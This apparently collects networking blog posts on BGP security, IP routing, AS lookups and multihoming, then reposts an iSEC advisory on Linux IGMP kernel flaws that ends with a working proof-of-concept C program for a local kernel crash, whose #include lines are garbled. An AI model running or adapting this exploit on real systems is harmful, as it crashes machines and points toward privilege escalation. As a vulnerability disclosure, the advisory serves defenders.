Protect BGP sessions with the TCP MD5 option

Since BGP uses TCP as its transport protocol, it is is vulnerable to all weaknesses of the TCP protocol itself. For a determined attacker, it is possible to forcibly close a BGP session or even hijack it and insert mailicious routing information into the BGP data stream.

Running BGP over IPsec would protect it against attacks on the TCP stream, but in practice that configuration is not deployed widely. Instead, the TCP MD5 option described in RFC 2385 is used commonly, as support for this protocol option is available on most BGP implementations.
The idea behind this feature is that to every packet in a TCP session a field is added with the MD5 checksum of the packet contents and a secret key. This establishes a cryptographically secure signature of the packet. Without knowing the key, it is near impossible to construct a packet with a valid signature. Since BGP speakers will immediately discard packets without a signature or with an invalid signature, the types of attacks described above cannot be executed without knowing the key.
The TCP MD5 option is available in most BGP implementations. For Cisco routers, all that is needed is a "neighbor x.x.x.x password mysecret" statement applied to the neighbor or peer-group definition. Juniper JunOS provides the "authentication-key mysecret" statement which can be applied globally at the BGP level, at the group level, or or at the individual neighbor level.
Unfortunately, for the open source Zebra and Quagga routing suites, the situation is more complicated. Since the MD5 checksum is computed at the TCP protocol level, it is a function of the operating system. For example, Linux does not support it natively, although a third-party kernel patch used to be available along with a wrapper library to have Zebra set the appropriate socket options. This is far from trivial to implement, unlike the password and authentication-key options described above.
Another approach to protect the the TCP session used by BGP is the BGP TTL security hack, presented at a recent NANOG meeting by Dave Meyer. These methods only protect the TCP session against attacks but do not protect against hostile BGP information received from the peer. Several other proposed BGP enhancements, such as S-BGP and soBGP address these issues. Unlike the TCP MD5 option described in this article, none of these protocols are widely deployed.

What is IP Routing?

...because of a few next topics, I would rather to explain the meaning of IP Routing for who wants to know about next topics but don't know the meaning of the terms related to those topics.

IP Routing is an umbrella term for the set of protocols that determine the path that data follows in order to travel across multiple networks from its source to its destination. Data is routed from its source to its destination through a series of routers, and across multiple networks. The IP Routing protocols enable routers to build up a forwarding table that correlates final destinations with next hop addresses.These protocols include:

• BGP (Border Gateway Protocol)
• IS-IS Intermediate System - Intermediate System
• OSPF Open Shortest Path First
• RIP Routing Information Protocol.

When an IP packet is to be forwarded, a router uses its forwarding table to determine the next hop for the packet's destination (based on the destination IP address in the IP packet header), and forwards the packet appropriately. The next router then repeats this process using its own forwarding table, and so on until the packet reaches its destination. At each stage, the IP address in the packet header is sufficient information to determine the next hop; no additional protocol headers are required.The Internet, for the purpose of routing, is divided into Autonomous Systems (ASs). An AS is a group of routers that are under the control of a single administration and exchange routing information using a common routing protocol. For example, a corporate intranet or an ISP network can usually be regarded as an individual AS. The Internet can be visualized as a partial mesh of ASs. An AS can be classified as one of the following three types.
A Stub AS has a single connection to one other AS. Any data sent to, or received from, a destination outside the AS must travel over that connection. A small campus network is an example of a stub AS.
A Transit AS has multiple connections to one or more ASs, which permits data that is not destined for a node within that AS to travel through it. An ISP network is an example of a transit AS.
A Multihomed AS also has multiple connections to one or more ASs, but it does not permit data received over one of these connections to be forwarded out of the AS again. In other words, it does not provide a transit service to other ASs. A Multihomed AS is similar to a Stub AS, except that the ingress and egress points for data traveling to or from the AS can be chosen from one of a number of connections, depending on which connection offers the shortest route to the eventual destination. A large enterprise network would normally be a multihomed AS.
An Interior Gateway Protocol (IGP) calculates routes within a single AS. The IGP enables nodes on different networks within an AS to send data to one another. The IGP also enables data to be forwarded across an AS from ingress to egress, when the AS is providing transit services.Routes are distributed between ASs by an Exterior Gateway Protocol (EGP). The EGP enables routers within an AS to choose the best point of egress from the AS for the data they are trying to route.The EGP and the IGPs running within each AS cooperate to route data across the Internet. The EGP determines the ASs that data must cross in order to reach its destination, and the IGP determines the path within each AS that data must follow to get from the point of ingress (or the point of origin) to the point of egress (or the final destination).The diagram below illustrates the different types of AS in a network. OSPF and IS-IS are IGPs used within the individual ASs; BGP is the EGP used between ASs.

Quickly find the announcing AS of an IP address

...with no reason but because of my mind & mood I would like to write about BGP and IP routing related topics which found on the net, today. I'll write more... .

In the course of network operations, one sometimes would like to know which autonomous system (AS) announces a given IP address. One way to do this is by querying the whois server of a routing registry such as RADB or RIPE, and looking for the origin attribute of a route object. However, not all networks properly register their route objects, so the information might not be available or may be outdated.

Another method is by looking at the actual BGP route table for the origin AS of a prefix. You could do this on your own BGP speaking routers or on a public route server with the "show ip bgp" command (or equivalent), or by using one of the public looking glasses on the web. However, this method is cumbersome, especially if you want to quickly look up something or if you have a large number of addresses that you want to analyze with a script.
You can using command line whois client to lookup for AS and Provider :

$ whois -h whois.cymru.com [IP]

If you have a list of IPs, then do the following steps:
1. At First download the GNU netcat from http://netcat.sourceforge.net/download.php
then create your list such this list:
Example of list01:

	begin

	68.22.187.5

	207.229.165.18

	...

	198.6.1.65

	end

you can add comment if you would like:

        begin

	68.22.187.5 Checked on 2004-06-30 05:05:05 GMT

	207.229.165.18 Checked on 2004-06-30 05:05:05 GMT

	...

	198.6.1.65 Checked on 2004-06-30 05:05:05 GMT

	end

2. Finally run the netcat:

  $ netcat whois.cymru.com 43 "<" list01 | sort -n ">" list02

(Remove " in your script)

3. The file list02 will be sorted by origin AS, and should appear as:

Bulk mode; one IP per line. [2004-06-30 15:37:07 GMT]
701 | 198.6.1.65 | UU UUNET Technologies, Inc.
6079 | 207.229.165.18 | RCN RCN Corporation
23028 | 68.22.187.5 | SAUNET SAUNET

4. Take a peek at the list02 file, and remove any RFC1918 or other
unrouted IPs.

Note: A similar service was announced by the RIPE RIS project. Their whois server can be queried using "whois -h riswhois.ripe.net", and returns results in RPSL like format (as used by the RIPE whois database itself). The data is gathered from route collector boxes in various locations. For more information about this service, see this web page.

Multi-homing to a single provider

In practice, the Border Gateway Protocol (BGP) is mainly used by ISP's and enterprises for connecting their autonomous systems (AS) to multiple other ASes, such as upstream providers, peers, and customers. An organization wishing to obtain better connectivity can do so by connecting to more than one upstream provider (multi-homing) and announcing its address space using BGP.

When using more than one connection to the same upstream provider, BGP is a logical choice for the routing protocol, since it supports load balancing and redundancy, and provides a clear separation between responsibilities and administrative domains of the provider and the customer, unlike an IGP would. However, the AS allocation guidelines (described in RFC 1930) preclude the use of a dedicated AS number for an organization connected in that way, since there is no need to exchange routing information with more than one party, i.e., there is no separate routing policy.
RFC 2270 proposes to use a single AS number for all customers multi-homed to the same (single) provider, preferably one of the private AS numbers, 64512 to 65535. In this way, there is no unnecessary use of AS numbers by organizations who do not strictly need them. The customer can use BGP to announce its address space, which will then be announced to the rest of the world by its provider. Despite the non-unique (and possibly private) AS number, one still has the advantages of BGP such as a fine grained control over routing announcements and preferences.The RFC also describes some of the implications of using this scheme, such as the need to announce a default route to the customer AS, effects of changes in connectivity, as well as points regarding aggregation and registering routes in a registry.

83.0.0.0/8 and 84.0.0.0/8 allocated to RIPE by IANA

As of November 14, 2003, the Internet Assigned Numbers Authority (IANA) has allocated the netblocks 83.0.0.0/8 and 84.0.0.0/8 to RIPE NCC, the Regional Internet Registry (RIR) for Europe, the Middle East, Central Asia and Africa.
If you use bogon filters to keep bogon announcements out of your BGP routing table or to drop packets with bogon addresses, please update them to allow these new ranges. Refer to our earlier article for more information about bogons and bogon filters.

New IE hole could perfect phishing scams

A newly reported security problem in Microsoft's Internet Explorer (IE) Web browser allows attackers to create a fake Web site that looks exactly like a genuine site...

The vulnerability lets an attacker display any Web site while the address bar in IE will display a trusted Web address, for example https://www.paypal.com/, and even show the icon indicating SSL (Secure Socket Layer) security, security researchers warned on Thursday.

The issue could result in more sophisticated phishing scams, a prevalent type of online attack that typically combines spam e-mail messages and Web pages that look like legitimate e-commerce sites to steal sensitive information such as user names, passwords and credit card numbers.

The problem was discovered by a security researcher from the Greyhats Security Group and reported on Thursday by Danish security company Secunia. The vulnerability lies in an ActiveX control in IE and has been found to affect version 6.0 of the browser running on Windows XP with Service Pack 2 and earlier versions, according to a Secunia advisory.

Microsoft is investigating the report, a company spokeswoman said Friday. "We have not been made aware of any attacks attempting to use the reported vulnerabilities or customer impact at this time, but we are aggressively investigating the public reports," she said.

Upon completion of this investigation, Microsoft may provide a security fix through its monthly release process or as an out-of-cycle security update, she said. Meanwhile, Secunia suggests users protect themselves by disabling ActiveX in IE or setting the IE security level to "high" for the Internet zone.

Banks are trying to combat phishing by educating consumers. Citibank, for example, on its Web site warns customers not to click on links in e-mail messages. Also, Citibank advises customers to manually enter the Web address for the bank in a Web browser to make sure they are dealing with Citibank and not a scammer.

Linux kernel IGMP vulnerabilities

Multiple locally as well as remotely exploitable bugs have been found in
the Linux IGMP networking module and the corresponding user API...

The IGMP (or internet group management protocol) is today's standard for
delivering multicast functionality to internet hosts. The Linux kernel
incorporates a base set of the IGMPv2 and IGMPv3 specifications and is
subdivided into two logical parts:
- - the IGMP/IP networking module responsible for network level operation,
that is only compiled into the kernel if configured for multicasting,
- - the socket API delivering multicasting capabilities to user level
applications, which is always available on Linux.

Both parts of the IGMP subsystem have exploitable flaws:
(1) the ip_mc_source() function, that can be called through the user API
(the IP_(UN)BLOCK_SOURCE, IP_ADD/DROP_SOURCE_MEMBERSHIP as well as
MCAST_(UN)BLOCK_SOURCE and MCAST_JOIN/LEAVE_SOURCE_GROUP socket SOL_IP
level options) suffers from a serious kernel hang and kernel memory
overwrite problem.

It is possible to decrement the 'sl_count' counter of the
'ip_sf_socklist' structure to be 0xffffffff (that is -1 as signed
integer, see attached PoC code) with the consequence, that a repeated
call to above function will start a kernel loop counting from 0 to
UINT_MAX. This will cause a kernel hang for minutes (depending on the
machine speed).

Right after that the whole kernel memory following the kmalloc'ated
buffer will be shifted by 4 bytes causing an immediate machine reboot
under normal operating conditions. If properly exploited this will lead
to elevated privileges.

(2) Because of the bug (1) it is possible to read huge portions of
kernel memory following a kernel buffer through the ip_mc_msfget() and
ip_mc_gsfget() (user API) functions.

(3) The igmp_marksources() function from the network module is called in
the context of an IGMP group query received from the network and suffers
from an out of bound read access to kernel memory. It happens because
the received IGMP message's parameters are not validated properly. This
flaw is remotely exploitable on Linux machines with multicasting support
if and only if an application has bound a multicast socket.

Discussion:
=============

(1) It is quite obvious that moving around all kernel memory following a
kmalloc'ated buffer is a bad idea. However if done very carefully this
may give a local attacker elevated privileges.

We strongly believe that this flaw is very easily exploitable on SMP
machines (where one thread can interrupt the copy loop before the kernel
gets completely destroyed).

On uniprocessor configurations the exploitability is questionable since
there is no other exit condition from the copy loop than a kernel oops
if we hit a non existing page. If an attacker manages to trick the
kernel to allocate the buffer just right before the end of kernel's
physical memory mapping and also manages to place for example a LDT just
after that buffer, he may gain elevated privileges also on uniprocessor
machines.

(2) No special handling is required to exploit this flaw in conjunction
with bug described in (1). This issue is slightly related to the loff_t
race discovered by iSEC in August 2004. Please refer to

http://www.isec.pl/vulnerabilities/isec-0016-procleaks.txt

for further information about consequences of reading privileged kernel
memory.

(3) The last bug described here refers to a remote kernel vulnerability.
There are several conditions that must be meet for remote exploitation.

First, the kernel must have been compiled with multicasting support and
process incoming IGMP packets. Moreover, an attacker must be able to
send group queries (IGMP_HOST_MEMBERSHIP_QUERY messages) to the
vulnerable machine.

Second requirement is an application on the vulnerable machine with a
bound multicast socket with attached source filter. There are numerous
applications using multicasting like video conferencing or routing
software, just to name few. The attacker must also know the IGMP group
used to perform the attack.

You can check if your configuration is vulnerable by looking at these
files:

/proc/net/igmp
/proc/net/mcfilter

if both exist and are non-empty you are vulnerable!

Since the kernel does not validate the ih3->nsrcs IGMP parameter, the
igmp_marksources() internal kernel function may access kernel memory
outside of the allocated socket buffer holding the IGMP message.
Depending on the relative position of the socket buffer in the kernel
memory this may lead to an immediate kernel crash.

Another consequence is that the kernel will spend most of the CPU time
on scanning useless kernel data right after the buffer if the nsrcs
parameter is very high. If a continuous flow of prepared IGMP packets is
sent to a vulnerable machine, it may stop to process other network
traffic. For an average machine only a moderate IGMP packet flow is
required. This may lead to serious problems in case of routing software.

Impact:
=======

Unprivileged local users may gain elevated (root) privileges. Remote
users may hang or even crash a vulnerable Linux machine.

Credits:
========

Paul Starzetz <ihaquer_at_isec.pl> has identified the vulnerability and
performed further research. COPYING, DISTRIBUTION, AND MODIFICATION OF
INFORMATION PRESENTED HERE IS ALLOWED ONLY WITH EXPRESS PERMISSION OF
ONE OF THE AUTHORS.

Disclaimer:
===========

This document and all the information it contains are provided "as is",
for educational purposes only, without warranty of any kind, whether
express or implied.

The authors reserve the right not to be responsible for the topicality,
correctness, completeness or quality of the information provided in
this document. Liability claims regarding damage caused by the use of
any information provided, including any kind of information which is
incomplete or incorrect, will therefore be rejected.

Appendix:
=========

/*
* Linux igmp.c local DoS
* Warning: this code will crash your machine!
*
* gcc -O2 mreqfck.c -o mreqfck
*
* Copyright (c) 2004 iSEC Security Research. All Rights Reserved.
*
* THIS PROGRAM IS FOR EDUCATIONAL PURPOSES *ONLY* IT IS PROVIDED "AS IS"
* AND WITHOUT ANY WARRANTY. COPYING, PRINTING, DISTRIBUTION, MODIFICATION
* WITHOUT PERMISSION OF THE AUTHOR IS STRICTLY PROHIBITED.
*
*/

#include
#include
#include
#include
#include
#include

#define MCAST_INCLUDE 1
#define IP_MSFILTER 41

#define IP_UNBLOCK_SOURCE 37
#define IP_BLOCK_SOURCE 38

struct ip_msfilter
{
__u32 imsf_multiaddr;
__u32 imsf_interface;
__u32 imsf_fmode;
__u32 imsf_numsrc;
__u32 imsf_slist[1];
};

struct ip_mreq_source
{
__u32 imr_multiaddr;
__u32 imr_interface;
__u32 imr_sourceaddr;
};

void
fatal (const char *message)
{
printf ("\n");
if (!errno)
{
fprintf (stdout, "FATAL: %s\n", message);
}
else
{
fprintf (stdout, "FATAL: %s (%s) ", message,
(char *) (strerror (errno)));
}
printf ("\n");
fflush (stdout);
exit (1);
}

int
main ()
{
int s, r, l;
struct ip_mreqn mr;
struct ip_msfilter msf;
struct ip_mreq_source ms;
in_addr_t a1, a2;

s = socket (AF_INET, SOCK_DGRAM, 0);
if (s < 0)
fatal ("socket");

// first join mcast group
memset (&mr, 0, sizeof (mr));
mr.imr_multiaddr.s_addr = inet_addr ("224.0.0.199");
l = sizeof (mr);
r = setsockopt (s, SOL_IP, IP_ADD_MEMBERSHIP, &mr, l);
if (r < 0)
fatal ("setsockopt");

// add source filter count=1
memset (&ms, 0, sizeof (ms));
ms.imr_multiaddr = inet_addr ("224.0.0.199");
ms.imr_sourceaddr = inet_addr ("4.5.6.7");
l = sizeof (ms);
r = setsockopt (s, SOL_IP, IP_BLOCK_SOURCE, &ms, l);
if (r < 0)
fatal ("setsockopt2");

// del source filter count = 0
// imr_multiaddr & imr_interface must correspond to ADD
memset (&ms, 0, sizeof (ms));
ms.imr_multiaddr = inet_addr ("224.0.0.199");
ms.imr_sourceaddr = inet_addr ("4.5.6.7");
l = sizeof (ms);
r = setsockopt (s, SOL_IP, IP_UNBLOCK_SOURCE, &ms, l);
if (r < 0)
fatal ("setsockopt2");

// del again, count = -1
memset (&ms, 0, sizeof (ms));
ms.imr_multiaddr = inet_addr ("224.0.0.199");
ms.imr_sourceaddr = inet_addr ("4.5.6.7");
l = sizeof (ms);
r = setsockopt (s, SOL_IP, IP_UNBLOCK_SOURCE, &ms, l);
if (r < 0)
fatal ("setsockopt3");

// crash
memset (&ms, 0, sizeof (ms));
ms.imr_multiaddr = inet_addr ("224.0.0.199");
ms.imr_sourceaddr = inet_addr ("4.5.6.7");
l = sizeof (ms);
r = setsockopt (s, SOL_IP, IP_UNBLOCK_SOURCE, &ms, l);
if (r < 0)
fatal ("setsockopt4");

getchar ();

return 0;
}